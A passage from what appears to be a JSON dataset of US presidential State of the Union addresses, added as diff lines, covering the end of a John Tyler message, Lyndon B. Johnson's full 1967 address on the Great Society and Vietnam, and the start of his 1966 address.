the Government, and which, I am deeply\nconvinced, ought to be corrected. I allude to the exercise of the power\nwhich usage rather than reason has vested in the Presidents of removing\nincumbents from office in order to substitute others more in favor with the\ndominant party. My own conduct in this respect has been governed by a\nconscientious purpose to exercise the removing power only in cases of\nunfaithfulness or inability, or in those in which its exercise appeared\nnecessary in order to discountenance and suppress that spirit of active\npartisanship on the part of holders of office which not only withdraws them\nfrom the steady and impartial discharge of their official duties, but\nexerts an undue and injurious influence over elections and degrades the\ncharacter of the Government itself, inasmuch as it exhibits the Chief\nMagistrate as being a party through his agents in the secret plots or open\nworkings of political parties.In respect to the exercise of this power nothing should be left to\ndiscretion which may safely be regulated by law, and it is of high\nimportance to restrain as far as possible the stimulus of personal\ninterests in public elections. Considering the great increase which has\nbeen made in public offices in the last quarter of a century and the\nprobability of further increase, we incur the hazard of witnessing violent\npolitical contests, directed too often to the single object of retaining\noffice by those who are in or obtaining it by those who are out. Under the\ninfluence of these convictions I shall cordially concur in any\nconstitutional measure for regulating and, by regulating, restraining the\npower of removal.I suggest for your consideration the propriety of making without further\ndelay some specific application of the funds derived under the will of Mr.\nSmithson, of England, for the diffusion of knowledge, and which have\nheretofore been vested in public stocks until such time as Congress should\nthink proper to give them a specific direction. Nor will you, I feel\nconfident, permit any abatement of the principal of the legacy to be made\nshould it turn out that the stocks in which the investments have been made\nhave undergone a depreciation.In conclusion I commend to your care the interests of this District, for\nwhich you are the exclusive legislators. Considering that this city is the\nresidence of the Government and for a large part of the year of Congress,\nand considering also the great cost of the public buildings and the\npropriety of affording them at all times careful protection, it seems not\nunreasonable that Congress should contribute toward the expense of an\nefficient police.", 
+    "name": "John Tyler"
+}
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+{
+    "date": "January 10, 1967", 
+    "speech": "Mr. Speaker, Mr. Vice President, distinguished Members of the Congress:I share with all of you the grief that you feel at the death today of one\nof the most beloved, respected, and effective Members of this body, the\ndistinguished Representative from Rhode Island, Mr. Fogarty.I have come here tonight to report to you that this is a time of testing\nfor our Nation.At home, the question is whether we will continue working for better\nopportunities for all Americans, when most Americans are already living\nbetter than any people in history.Abroad, the question is whether we have the staying power to fight a very\ncostly war, when the objective is limited and the danger to us is seemingly\nremote.So our test is not whether we shrink from our country's cause when the\ndangers to us are obvious and dose at hand, but, rather, whether we carry\non when they seem obscure and distant--and some think that it is safe to\nlay down our burdens.I have come tonight to ask this Congress and this Nation to resolve that\nissue: to meet our commitments at home and abroad--to continue to build a\nbetter America--and to reaffirm this Nation's allegiance to freedom.As President Abraham Lincoln said, \"We must ask where we are, and whither\nwe are tending.\" I.The last 3 years bear witness to our determination to make this a better\ncountry.We have struck down legal barriers to equality.We have improved the education of 7 million deprived children and this year\nalone we have enabled almost 1 million students to go to college.We have brought medical care to older people who were unable to afford it.\nThree and one-half million Americans have already received treatment under\nMedicare since July.We have built a strong economy that has put almost 3 million more Americans\non the payrolls in the last year alone.We have included more than 9 million new workers under a higher minimum\nwage.We have launched new training programs to provide job skills for almost 1\nmillion Americans.We have helped more than a thousand local communities to attack poverty in\nthe neighborhoods of the poor. We have set out to rebuild our cities on a\nscale that has never been attempted before. We have begun to rescue our\nwaters from the menace of pollution and to restore the beauty of our land\nand our countryside, our cities and our towns.We have given 1 million young Americans a chance to earn through the\nNeighborhood Youth Corps--or through Head Start, a chance to learn.So together we have tried to meet the needs of our people. And, we have\nsucceeded in creating a better life for the many as well as the few. Now we\nmust answer whether our gains shall be the foundations of further progress,\nor whether they shall be only monuments to what might have been--abandoned\nnow by a people who lacked the will to see their great work through.I believe that our people do not want to quit--though the task is great,\nthe work hard, often frustrating, and success is a matter not of days or\nmonths, but of years--and sometimes it may be even decades. II.I have come here tonight to discuss with you five ways of carrying forward\nthe progress of these last 3 years. These five ways concern programs,\npartnerships, priorities, prosperity, and peace.First, programs. We must see to it, I think, that these new programs that\nwe have passed work effectively and are administered in the best possible\nway.Three years ago we set out to create these new instruments of social\nprogress. This required trial and error--and it has produced both. But as\nwe learn, through success and failure, we are changing our strategy and we\nare trying to improve our tactics. In the long run, these starts--some\nrewarding, others inadequate and disappointing--are crucial to SUCCESS.One example is the struggle to make life better for the less fortunate\namong us.On a similar occasion, at this rostrum in 1949, I heard a great American\nPresident, Harry S. Truman, declare this: \"The American people have decided\nthat poverty is just as wasteful and just as unnecessary as preventable\ndisease.\"Many listened to President Truman that day here in this Chamber, but few\nunderstood what was required and did anything about it. The executive\nbranch and the Congress waited 15 long years before ever taking any action\non that challenge, as it did on many other challenges that great President\npresented. And when, 3 years ago, you here in the Congress joined with me\nin a declaration of war on poverty, then I warned, \"It will not be a short\nor easy struggle--no single weapon... will suffice--but we shall not rest\nuntil that war is won.\"And I have come here to renew that pledge tonight.I recommend that we intensify our efforts to give the poor a chance to\nenjoy and to join in this Nation's progress.I shall propose certain administrative changes suggested by the\nCongress--as well as some that we have learned from our own trial and\nerror.I shall urge special methods and special funds to reach the hundreds of\nthousands of Americans that are now trapped in the ghettos of our big\ncities and, through Head Start, to try to reach out to our very young,\nlittle children. The chance to learn is their brightest hope and must\ncommand our full determination. For learning brings skills; and skills\nbring jobs; and jobs bring responsibility and dignity, as well as taxes.This war--like the war in Vietnam--is not a simple one. There is no single\nbattle-line which you can plot each day on a chart. The enemy is not easy to\nperceive, or to isolate, or to destroy. There are mistakes and there are\nsetbacks. But we are moving, and our direction is forward.This is true with other programs that are making and breaking new ground.\nSome do not yet have the capacity to absorb well or wisely all the money\nthat could be put into them. Administrative skills and trained manpower are\njust as vital to their success as dollars. And I believe those skills will\ncome. But it will take time and patience and hard work. Success cannot be\nforced at a single stroke. So we must continue to strengthen the\nadministration of every program if that success is to come--as we know it\nmust.We have done much in the space of 2 short years, working together.I have recommended, and you, the Congress, have approved, 10 different\nreorganization plans, combining and consolidating many bureaus of this\nGovernment, and creating two entirely new Cabinet departments.I have come tonight to propose that we establish a new department--a\nDepartment of Business and Labor.By combining the Department of Commerce with the Department of Labor and\nother related agencies, I think we can create a more economical, efficient,\nand streamlined instrument that will better serve a growing nation.This is our goal throughout the entire Federal Government. Every program\nwill be thoroughly evaluated. Grant-in-aid programs will be improved and\nsimplified as desired by many of our local administrators and our\nGovernors.Where there have been mistakes, we will try very hard to correct them.Where there has been progress, we will try to build upon it.Our second objective is partnership--to create an effective partnership at\nall levels of government. And I should treasure nothing more than to have\nthat partnership begin between the executive and the Congress.The 88th and the 89th Congresses passed more social and economic\nlegislation than any two single Congresses in American history. Most of you\nwho were Members of those Congresses voted to pass most of those measures.\nBut your efforts will come to nothing unless it reaches the people.Federal energy is essential. But it is not enough. Only a total working\npartnership among Federal, State, and local governments can succeed. The\ntest of that partnership will be the concern of each public organization,\neach private institution, and each responsible citizen.Each State, county, and city needs to examine its capacity for government\nin today's world, as we are examining ours in the executive department, and\nas I see you are examining yours. Some will need to reorganize and reshape\ntheir methods of administration--as we are doing. Others will need to revise\ntheir constitutions and their laws to bring them up to date--as we are\ndoing. Above all, I think we must work together and find ways in which the\nmultitudes of small jurisdictions can be brought together more\nefficiently.During the past 3 years we have returned to State and local governments\nabout $40 billion in grants-in-aid. This year alone, 70 percent of our\nFederal expenditures for domestic programs will be distributed through the\nState and local governments. With Federal assistance, State and local\ngovernments by 1970 will be spending close to $110 billion annually. These\nenormous sums must be used wisely, honestly, and effectively. We intend to\nwork closely with the States and the localities to do exactly that.Our third objective is priorities, to move ahead on the priorities that we\nhave established within the resources that are available.I wish, of course, that we could do all that should be done--and that we\ncould do it now. But the Nation has many commitments and responsibilities\nwhich make heavy demands upon our total resources. No administration would\nmore eagerly utilize for these programs all the resources they require than\nthe administration that started them.So let us resolve, now, to do all that we can, with what we have--knowing\nthat it is far, far more than we have ever done before, and far, far less\nthan our problems will ultimately require.Let us create new opportunities for our children and our young Americans\nwho need special help.We should strengthen the Head Start program, begin it for children 3 years\nold, and maintain its educational momentum by following through in the\nearly years.We should try new methods of child development and care from the earliest\nyears, before it is too late to correct.And I will propose these measures to the 90th Congress.Let us insure that older Americans, and neglected Americans, share in their\nNation's progress.We should raise social security payments by an overall average of 20\npercent. That will add $4 billion 100 million to social security payments\nin the first year. I will recommend that each of the 23 million Americans\nnow receiving payments get an increase of at least 15 percent.I will ask that you raise the minimum payments by 59 percent--from $44 to\n$70 a month, and to guarantee a minimum benefit of $100 a month for those\nwith a total of 25 years of coverage. We must raise the limits that retired\nworkers can earn without losing social security income.We must eliminate by law unjust discrimination in employment because of\nage.We should embark upon a major effort to provide self-help assistance to the\nforgotten in our midst--the American Indians and the migratory farm\nworkers. And we should reach with the hand of understanding to help those\nwho live in rural poverty.And I will propose these measures to the 90th Congress.So let us keep on improving the quality of life and enlarging the meaning\nof justice for all of our fellow Americans.We should transform our decaying slums into places of decency through the\nlandmark Model Cities program. I intend to seek for this effort, this year,\nthe full amount that you in Congress authorized last year.We should call upon the genius of private industry and the most advanced\ntechnology to help rebuild our great cities.We should vastly expand the fight for dean air with a total attack on\npollution at its sources, and--because air, like water, does not respect\nmanmade boundaries--we should set up \"regional airsheds\" throughout this\ngreat land.We should continue to carry to every corner of the Nation our campaign for\na beautiful America--to dean up our towns, to make them more beautiful, our\ncities, our countryside, by creating more parks, and more seashores, and\nmore open spaces for our children to play in, and for the generations that\ncome after us to enjoy.We should continue to seek equality and justice for each citizen--before a\njury, in seeking a job, in exercising his civil rights. We should find a\nsolution to fair housing, so that every American, regardless of color, has\na decent home of his choice.We should modernize our Selective Service System. The National Commission\non Selective Service will shortly submit its report. I will send you new\nrecommendations to meet our military manpower needs. But let us resolve\nthat this is to be the Congress that made our draft laws as fair and as\neffective as possible.We should protect what Justice Brandeis called the \"right most valued by\ncivilized men\"--the right to privacy. We should outlaw all\nwiretapping--public and private--wherever and whenever it occurs, except\nwhen the security of this Nation itself is at stake--and only then with the\nstrictest governmental safeguards. And we should exercise the full reach of\nour constitutional powers to outlaw electronic \"bugging\" and \"snooping.\"I hope this Congress will try to help me do more for the consumer. We\nshould demand that the cost of credit be clearly and honestly expressed\nwhere average citizens can understand it. We should immediately take steps\nto prevent massive power failures, to safeguard the home against hazardous\nhousehold products, and to assure safety in the pipelines that carry\nnatural gas across our Nation.We should extend Medicare benefits that are now denied to 1,300,000\npermanently and totally disabled Americans under 65 years of age.We should improve the process of democracy by passing our election reform\nand financing proposals, by tightening our laws regulating lobbying, and by\nrestoring a reasonable franchise to Americans who move their residences.We should develop educational television into a vital public resource to\nenrich our homes, educate our families, and to provide assistance in our\nclassrooms. We should insist that the public interest be fully served\nthrough the public's airwaves.And I will propose these measures to the 90th Congress.Now we come to a question that weighs very heavily on all our minds--on\nyours and mine. This Nation must make an all-out effort to combat crime.The 89th Congress gave us a new start in the attack on crime by passing the\nLaw Enforcement Assistance Act that I recommended. We appointed the\nNational Crime Commission to study crime in America and to recommend the\nbest ways to carry that attack forward.And while we do not have all the answers, on the basis of its preliminary\nrecommendations we are ready to move.This is not a war that Washington alone can win. The idea of a national\npolice force is repugnant to the American people. Crime must be rooted out\nin local communities by local authorities. Our policemen must be better\ntrained, must be better paid, and must be better supported by the local\ncitizens that they try to serve and to protect.The National Government can and expects to help.And so I will recommend to the 90th Congress the Safe Streets and Crime\nControl Act of 1967. It will enable us to assist those States and cities\nthat try to make their streets and homes safer, their police forces better,\ntheir corrections systems more effective, and their courts more efficient.When the Congress approves, the Federal Government will be able to provide\na substantial percentage of the cost:--90 percent of the cost of developing the State and local plans, master\nplans, to combat crime in their area;--60 percent of the cost of training new tactical units, developing instant\ncommunications and special alarm systems, and introducing the latest\nequipment and techniques so that they can become weapons in the war on\ncrime;--50 percent of the cost of building crime laboratories and police\nacademy-type centers so that our citizens can be protected by the best\ntrained and served by the best equipped police to be found anywhere. We\nwill also recommend new methods to prevent juvenile delinquents from\nbecoming adult delinquents. We will seek new partnerships with States and\ncities in order to deal with this hideous narcotics problem. And we will\nrecommend strict controls on the sale of firearms.At the heart of this attack on crime must be the conviction that a free\nAmerica--as Abraham Lincoln once said--must \"let reverence for the\nlaws . . . become the political religion of the Nation.\"Our country's laws must be respected. Order must be maintained. And I will\nsupport--with all the constitutional powers the President possesses--our\nNation's law enforcement officials in their attempt to control the crime\nand the violence that tear the fabric of our communities.Many of these priority proposals will be built on foundations that have\nalready been laid. Some will necessarily be small at first, but \"every\nbeginning is a consequence.\" If we postpone this urgent work now, it will\nsimply have to be done later, and later we will pay a much higher price.Our fourth objective is prosperity, to keep our economy moving ahead,\nmoving ahead steadily and safely.We have now enjoyed 6 years of unprecedented and rewarding prosperity. Last\nyear, in 1966:--Wages were the highest in history--and the unemployment rate, announced\nyesterday, reached the lowest point in 13 years;--Total after-tax income of American families rose nearly 5 percent;--Corporate profits after taxes rose a little more than 5 percent;--Our gross national product advanced 5.5 percent, to about $740 billion;--Income per farm went up 6 percent.Now we have been greatly concerned because consumer prices rose 4.5 percent\nover the 18 months since we decided to send troops to Vietnam. This was\nmore than we had expected--and the Government tried to do everything that\nwe knew how to do to hold it down. Yet we were not as successful as we\nwished to be. In the 18 months after we entered World War II, prices rose\nnot 4.5 percent, but 13.5 percent. In the first 18 months after Korea,\nafter the conflict broke out there, prices rose not 4.5 percent, but 11\npercent. During those two periods we had OPA price control that the\nCongress gave us and War Labor Board wage controls.Since Vietnam we have not asked for those controls and we have tried to\navoid imposing them. We believe that we have done better, but we make no\npretense of having been successful or doing as well as we wished.Our greatest disappointment in the economy during 1966 was the excessive\nrise in interest rates and the tightening of credit. They imposed very\nsevere and very unfair burdens on our home buyers and on our home builders,\nand all those associated with the home industry.Last January, and again last September, I recommended fiscal and moderate\ntax measures to try to restrain the unbalanced pace of economic expansion.\nLegislatively and administratively we took several billions out of the\neconomy. With these measures, in both instances, the Congress approved most\nof the recommendations rather promptly.As 1966 ended, price stability was seemingly being restored. Wholesale\nprices are lower tonight than they were in August. So are retail food\nprices. Monetary conditions are also easing. Most interest rates have\nretreated from their earlier peaks. More money now seems to be available.Given the cooperation of the Federal Reserve System, which I so earnestly\nseek, I am confident that this movement can continue. I pledge the American\npeople that I will do everything in a President's power to lower interest\nrates and to ease money in this country. The Federal Home Loan Bank Board\ntomorrow morning will announce that it will make immediately available to\nsavings and loan associations an additional $1 billion, and will lower from\n6 percent to 5 3/4 percent the interest rate charged on those loans.We shall continue on a sensible course of fiscal and budgetary policy that\nwe believe will keep our economy growing without new inflationary spirals;\nthat will finance responsibly the needs of our men in Vietnam and the\nprogress of our people at home; that will support a significant improvement\nin our export surplus, and will press forward toward easier credit and\ntoward lower interest rates.I recommend to the Congress a surcharge of 6 percent on both corporate and\nindividual income taxes--to last for 2 years or for so long as the unusual\nexpenditures associated with our efforts in Vietnam continue. I will\npromptly recommend an earlier termination date if a reduction in these\nexpenditures permits it. This surcharge will raise revenues by some $4.5\nbillion in the first year. For example, a person whose tax payment, the tax\nhe owes, is $1,000, will pay, under this proposal, an extra $60 over the\n12-month period, or $5 a month. The overwhelming majority of Americans who\npay taxes today are below that figure and they will pay substantially less\nthan $5 a month. Married couples with two children, with incomes up to\n$5,000 per year, will be exempt from this tax--as will single people with\nan income of up to $1,900 a year.Now if Americans today still paid the income and excise tax rates in effect\nwhen I came into the Presidency, in the year 1964, their annual taxes would\nhave been over $20 billion more than at present tax rates. So this proposal\nis that while we have this problem and this emergency in Vietnam, while we\nare trying to meet the needs of our people at home, your Government asks\nfor slightly more than one-fourth of that tax cut each year in order to try\nto hold our budget deficit in fiscal 1968 within prudent limits and to give\nour country and to give our fighting men the help they need in this hour of\ntrial.For fiscal 1967, we estimate the budget expenditures to be $126.7 billion\nand revenues of $117 billion. That will leave us a deficit this year of\n$9.7 billion.For fiscal 1968, we estimate budget expenditures of $135 billion. And with\nthe tax measures recommended, and a continuing strong economy, we estimate\nrevenues will be $126.9 billion. The deficit then will be $8.1 billion.I will very soon forward all of my recommendations to the Congress. Yours\nis the responsibility to discuss and to debate them--to approve or modify or\nreject them.I welcome your views, as I have welcomed working with you for 30 years as a\ncolleague and as Vice President and President.I should like to say to the Members of the opposition--whose numbers, if I\nam not mistaken, seem to have increased somewhat--that the genius of the\nAmerican political system has always been best expressed through creative\ndebate that offers choices and reasonable alternatives. Throughout our\nhistory, great Republicans and Democrats have seemed to understand this. So\nlet there be light and reason in our relations. That is the way to a\nresponsible session and a responsive government.Let us be remembered as a President and a Congress who tried to improve the\nquality of life for every American--not just the rich, not just the poor,\nbut every man, woman, and child in this great Nation of ours.We all go to school--to good schools or bad schools. We all take air into\nour lungs--clean air or polluted air. We all drink water--pure water or\npolluted water. We all face sickness someday, and some more often than we\nwish, and old age as well. We all have a stake in this Great Society--in\nits economic growth, in reduction of civil strife--a great stake in good\ngovernment.We just must not arrest the pace of progress we have established in this\ncountry in these years. Our children's children will pay the price if we\nare not wise enough, and courageous enough, and determined enough to stand\nup and meet the Nation's needs as well as we can in the time allotted us.\nIII.Abroad, as at home, there is also risk in change. But abroad, as at home,\nthere is a greater risk in standing still. No part of our foreign policy is\nso sacred that it ever remains beyond review. We shall be flexible where\nconditions in the world change--and where man's efforts can change them for\nthe better.We are in the midst of a great transition--a transition from narrow\nnationalism to international partnership; from the harsh spirit of the cold\nwar to the hopeful spirit of common humanity on a troubled and a threatened\nplanet.In Latin America, the American chiefs of state will be meeting very shortly\nto give our hemispheric policies new direction.We have come a long way in this hemisphere since the inter-American effort\nin economic and social development was launched by the conference at Bogota\nin 1960 under the leadership of President Eisenhower. The Alliance for\nProgress moved dramatically forward under President Kennedy. There is new\nconfidence that the voice of the people is being heard; that the dignity of\nthe individual is stronger than ever in this hemisphere, and we are facing\nup to and meeting many of the hemispheric problems together. In this\nhemisphere that reform under democracy can be made to happen--because it\nhas happened. So together, I think, we must now move to strike down the\nbarriers to full cooperation among the American nations, and to free the\nenergies and the resources of two great continents on behalf of all of our\ncitizens.Africa stands at an earlier stage of development than Latin America. It has\nyet to develop the transportation, communications, agriculture, and, above\nall, the trained men and women without which growth is impossible. There,\ntoo, the job will best be done if the nations and peoples of Africa\ncooperate on a regional basis. More and more our programs for Africa are\ngoing to be directed toward self-help.The future of Africa is shadowed by unsolved racial conflicts. Our policy\nwill continue to reflect our basic commitments as a people to support those\nwho are prepared to work towards cooperation and harmony between races, and\nto help those who demand change but reject the fool's gold of violence.In the Middle East the spirit of good will toward all, unfortunately, has\nnot yet taken hold. An already tortured peace seems to be constantly\nthreatened. We shall try to use our influence to increase the possibilities\nof improved relations among the nations of that region. We are working hard\nat that task.In the great subcontinent of South Asia live more than a sixth of the\nearth's population. Over the years we--and others--have invested very\nheavily in capital and food for the economic development of India and\nPakistan.We are not prepared to see our assistance wasted, however, in conflict. It\nmust strengthen their capacity to help themselves. It must help these two\nnations--both our friends--to overcome poverty, to emerge as self-reliant\nleaders, and find terms for reconciliation and cooperation.In Western Europe we shall maintain in NATO an integrated common defense.\nBut we also look forward to the time when greater security can be achieved\nthrough measures of arms control and disarmament, and through other forms\nof practical agreement.We are shaping a new future of enlarged partnership in nuclear affairs, in\neconomic and technical cooperation, in trade negotiations, in political\nconsultation, and in working together with the governments and peoples of\nEastern Europe and the Soviet Union.The emerging spirit of confidence is precisely what we hoped to achieve\nwhen we went to work a generation ago to put our shoulder to the wheel and\ntry to help rebuild Europe. We faced new challenges and opportunities then\nand there--and we faced also some dangers. But I believe that the peoples\non both sides of the Atlantic, as well as both sides of this Chamber,\nwanted to face them together.Our relations with the Soviet Union and Eastern Europe are also in\ntransition. We have avoided both the acts and the rhetoric of the cold war.\nWhen we have differed with the Soviet Union, or other nations, for that\nmatter, I have tried to differ quietly and with courtesy, and without\nvenom.Our objective is not to continue the cold war, but to end it.We have reached an agreement at the United Nations on the peaceful uses of\nouter space.We have agreed to open direct air flights with the Soviet Union.We have removed more than 400 nonstrategic items from export control.We are determined that the Export-Import Bank can allow commercial credits\nto Poland, Hungary, Bulgaria, and Czechoslovakia, as well as to Romania and\nYugoslavia.We have entered into a cultural agreement with the Soviet Union for another\n2 years.We have agreed with Bulgaria and Hungary to upgrade our legations to\nembassies.We have started discussions with international agencies on ways of\nincreasing contacts with Eastern European countries.This administration has taken these steps even as duty compelled us to\nfulfill and execute alliances and treaty obligations throughout the world\nthat were entered into before I became President.So tonight I now ask and urge this Congress to help our foreign and our\ncommercial trade policies by passing an East-West trade bill and by\napproving our consular convention with the Soviet Union.The Soviet Union has in the past year increased its long-range missile\ncapabilities. It has begun to place near Moscow a limited antimissile\ndefense. My first responsibility to our people is to assure that no nation\ncan ever find it rational to launch a nuclear attack or to use its nuclear\npower as a credible threat against us or against our allies.I would emphasize that that is why an important link between Russia and the\nUnited States is in our common interest, in arms control and in\ndisarmament. We have the solemn duty to slow down the arms race between us,\nif that is at all possible, in both conventional and nuclear weapons and\ndefenses. I thought we were making some progress in that direction the\nfirst few months I was in office. I realize that any additional race would\nimpose on our peoples, and on all mankind, for that matter, an additional\nwaste of resources with no gain in security to either side.I expect in the days ahead to closely consult and seek the advice of the\nCongress about the possibilities of international agreements bearing\ndirectly upon this problem.Next to the pursuit of peace, the really greatest challenge to the human\nfamily is the race between food supply and population increase. That race\ntonight is being lost.The time for rhetoric has clearly passed. The time for concerted action is\nhere and we must get on with the job.We believe that three principles must prevail if our policy is to succeed:First, the developing nations must give highest priority to food\nproduction, including the use of technology and the capital of private\nenterprise.Second, nations with food deficits must put more of their resources into\nvoluntary family planning programs.And third, the developed nations must all assist other nations to avoid\nstarvation in the short run and to move rapidly towards the ability to feed\nthemselves.Every member of the world community now bears a direct responsibility to\nhelp bring our most basic human account into balance. IV.I come now finally to Southeast Asia--and to Vietnam in particular. Soon I\nwill submit to the Congress a detailed report on that situation. Tonight I\nwant to just review the essential points as briefly as I can.We are in Vietnam because the United States of America and our allies are\ncommitted by the SEATO Treaty to \"act to meet the common danger\" of\naggression in Southeast Asia.We are in Vietnam because an international agreement signed by the United\nStates, North Vietnam, and others in 1962 is being systematically violated\nby the Communists. That violation threatens the independence of all the\nsmall nations in Southeast Asia, and threatens the peace of the entire\nregion and perhaps the world.We are there because the people of South Vietnam have as much right to\nremain non-Communist--if that is what they choose--as North Vietnam has to\nremain Communist.We are there because the Congress has pledged by solemn vote to take all\nnecessary measures to prevent further aggression.No better words could describe our present course than those once spoken by\nthe great Thomas Jefferson:\"It is the melancholy law of human societies to be compelled sometimes to\nchoose a great evil in order to ward off a greater.\"We have chosen to fight a limited war in Vietnam in an attempt to prevent a\nlarger war--a war almost certain to follow, I believe, if the Communists\nsucceed in overrunning and taking over South Vietnam by aggression and by\nforce. I believe, and I am supported by some authority, that if they are\nnot checked now the world can expect to pay a greater price to check them\nlater.That is what our statesmen said when they debated this treaty, and that is\nwhy it was ratified 82 to 1 by the Senate many years ago.You will remember that we stood in Western Europe 20 years ago. Is there\nanyone in this Chamber tonight who doubts that the course of freedom was\nnot changed for the better because of the courage of that stand?Sixteen years ago we and others stopped another kind of aggression--this\ntime it was in Korea. Imagine how different Asia might be today if we had\nfailed to act when the Communist army of North Korea marched south. The\nAsia of tomorrow will be far different because we have said in Vietnam, as\nwe said 16 years ago in Korea: \"This far and no further.\"I think I reveal no secret when I tell you that we are dealing with a\nstubborn adversary who is committed to the use of force and terror to\nsettle political questions.I wish I could report to you that the conflict is almost over. This I\ncannot do. We face more cost, more loss, and more agony. For the end is not\nyet. I cannot promise you that it will come this year--or come next year.\nOur adversary still believes, I think, tonight, that he can go on fighting\nlonger than we can, and longer than we and our allies will be prepared to\nstand up and resist.Our men in that area--there are nearly 500,000 now--have borne well \"the\nburden and the heat of the day.\" Their efforts have deprived the Communist\nenemy of the victory that he sought and that he expected a year ago. We\nhave steadily frustrated his main forces. General Westmoreland reports that\nthe enemy can no longer succeed on the battlefield.So I must say to you that our pressure must be sustained--and will be\nsustained--until he realizes that the war he started is costing him more\nthan he can ever gain.I know of no strategy more likely to attain that end than the strategy of\n\"accumulating slowly, but inexorably, every kind of material resource\"--of\n\"laboriously teaching troops the very elements of their trade.\" That, and\npatience--and I mean a great deal of patience.Our South Vietnamese allies are also being tested tonight. Because they\nmust provide real security to the people living in the countryside. And\nthis means reducing the terrorism and the armed attacks which kidnaped and\nkilled 26,900 civilians in the last 32 months, to levels where they can be\nsuccessfully controlled by the regular South Vietnamese security forces. It\nmeans bringing to the villagers an effective civilian government that they\ncan respect, and that they can rely upon and that they can participate in,\nand that they can have a personal stake in. We hope that government is now\nbeginning to emerge.While I cannot report the desired progress in the pacification effort, the\nvery distinguished and able Ambassador, Henry Cabot Lodge, reports that\nSouth Vietnam is turning to this task with a new sense of urgency. We can\nhelp, but only they can win this part of the war. Their task is to build\nand protect a new life in each rural province.One result of our stand in Vietnam is already clear.It is this: The peoples of Asia now know that the door to independence is\nnot going to be slammed shut. They know that it is possible for them to\nchoose their own national destinies--without coercion.The performance of our men in Vietnam--backed by the American people--has\ncreated a feeling of confidence and unity among the independent nations of\nAsia and the Pacific. I saw it in their faces in the 19 days that I spent\nin their homes and in their countries. Fear of external Communist conquest\nin many Asian nations is already subsiding--and with this, the spirit of\nhope is rising. For the first time in history, a common outlook and common\ninstitutions are already emerging.This forward movement is rooted in the ambitions and the interests of Asian\nnations themselves. It was precisely this movement that we hoped to\naccelerate when I spoke at Johns Hopkins in Baltimore in April 1965, and I\npledged \"a much more massive effort to improve the life of man\" in that\npart of the world, in the hope that we could take some of the funds that we\nwere spending on bullets and bombs and spend it on schools and production.Twenty months later our efforts have produced a new reality: The doors of\nthe billion dollar Asian Development Bank that I recommended to the\nCongress, and you endorsed almost unanimously, I am proud to tell you are\nalready open. Asians are engaged tonight in regional efforts in a dozen new\ndirections. Their hopes are high. Their faith is strong. Their confidence\nis deep.And even as the war continues, we shall play our part in carrying forward\nthis constructive historic development. As recommended by the Eugene Black\nmission, and if other nations will join us, I will seek a special\nauthorization from the Congress of $200 million for East Asian regional\nprograms.We are eager to turn our resources to peace. Our efforts in behalf of\nhumanity I think need not be restricted by any parallel or by any boundary\nline. The moment that peace comes, as I pledged in Baltimore, I will ask\nthe Congress for funds to join in an international program of\nreconstruction and development for all the people of Vietnam--and their\ndeserving neighbors who wish our help.We shall continue to hope for a reconciliation between the people of\nMainland China and the world community--including working together in all\nthe tasks of arms control, security, and progress on which the fate of the\nChinese people, like their fellow men elsewhere, depends.We would be the first to welcome a China which decided to respect her\nneighbors' rights. We would be the first to applaud her were she to apply\nher great energies and intelligence to improving the welfare of her people.\nAnd we have no intention of trying to deny her legitimate needs for\nsecurity and friendly relations with her neighboring countries.Our hope that all of this will someday happen rests on the conviction that\nwe, the American people and our allies, will and are going to see Vietnam\nthrough to an honorable peace.We will support all appropriate initiatives by the United Nations, and\nothers, which can bring the several parties together for unconditional\ndiscussions of peace--anywhere, any time. And we will continue to take\nevery possible initiative ourselves to constantly probe for peace.Until such efforts succeed, or until the infiltration ceases, or until the\nconflict subsides, I think the course of wisdom for this country is that we\njust must firmly pursue our present course. We will stand firm in Vietnam.I think you know that our fighting men there tonight bear the heaviest\nburden of all. With their lives they serve their Nation. We must give them\nnothing less than our full support--and we have given them that--nothing\nless than the determination that Americans have always given their fighting\nmen. Whatever our sacrifice here, even if it is more than $5 a month, it is\nsmall compared to their own.How long it will take I cannot prophesy. I only know that the will of the\nAmerican people, I think, is tonight being tested.Whether we can fight a war of limited objectives over a period of time, and\nkeep alive the hope of independence and stability for people other than\nourselves; whether we can continue to act with restraint when the\ntemptation to \"get it over with\" is inviting but dangerous; whether we can\naccept the necessity of choosing \"a great evil in order to ward off a\ngreater\"; whether we can do these without arousing the hatreds and the\npassions that are ordinarily loosed in time of war--on all these questions\nso much turns.The answers will determine not only where we are, but \"whither we are\ntending.\"A time of testing--yes. And a time of transition. The transition is\nsometimes slow; sometimes unpopular; almost always very painful; and often\nquite dangerous.But we have lived with danger for a long time before, and we shall live\nwith it for a long time yet to come. We know that \"man is born unto\ntrouble.\" We also know that this Nation was not forged and did not survive\nand grow and prosper without a great deal of sacrifice from a great many\nmen.For all the disorders that we must deal with, and all the frustrations that\nconcern us, and all the anxieties that we are called upon to resolve, for\nall the issues we must face with the agony that attends them, let us\nremember that \"those who expect to reap the blessings of freedom must, like\nmen, undergo the fatigues of supporting it.\"But let us also count not only our burdens but our blessings--for they are\nmany.And let us give thanks to the One who governs us all.Let us draw encouragement from the signs of hope--for they, too, are many.Let us remember that we have been tested before and America has never been\nfound wanting.So with your understanding, I would hope your confidence, and your support,\nwe are going to persist--and we are going to succeed.", 
+    "name": "Lyndon B. Johnson"
+}
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+{
+    "date": "January 12, 1966", 
+    "speech": "Mr. Speaker, Mr. President, Members of the House and the Senate, my fellow\nAmericans:I come before you tonight to report on the State of the Union for the third\ntime.I come here to thank you and to add my tribute, once more, to the Nation's\ngratitude for this, the 89th Congress. This Congress has already reserved\nfor itself an honored chapter in the history of America.Our Nation tonight is engaged in a brutal and bitter conflict in Vietnam.\nLater on I want to discuss that struggle in some detail with you. It just\nmust be the center of our concerns.But we will not permit those who fire upon us in Vietnam to win a victory\nover the desires and the intentions of all the American people. This Nation\nis mighty enough, its society is healthy enough, its people are strong\nenough, to pursue our goals in the rest of the world while still building a\nGreat Society here at home.And that is what I have come here to ask of you tonight.I recommend that you provide the resources to carry forward, with full\nvigor, the great health and education programs that you enacted into law\nlast year.I recommend that we prosecute with vigor and determination our war on\npoverty.I recommend that you give a new and daring direction to our foreign aid\nprogram, designed to make a maximum attack on hunger and disease and\nignorance in those countries that are determined to help themselves, and to\nhelp those nations that are trying to control population growth.I recommend that you make it possible to expand trade between the United\nStates and Eastern Europe and the Soviet Union.I recommend to you a program to rebuild completely, on a scale never before\nattempted, entire central and slum areas of several of our cities in\nAmerica.I recommend that you attack the wasteful and degrading poisoning of our\nrivers, and, as the cornerstone of this effort, clean completely entire\nlarge river basins.I recommend that you meet the growing menace of crime in the streets by\nbuilding up law enforcement and by 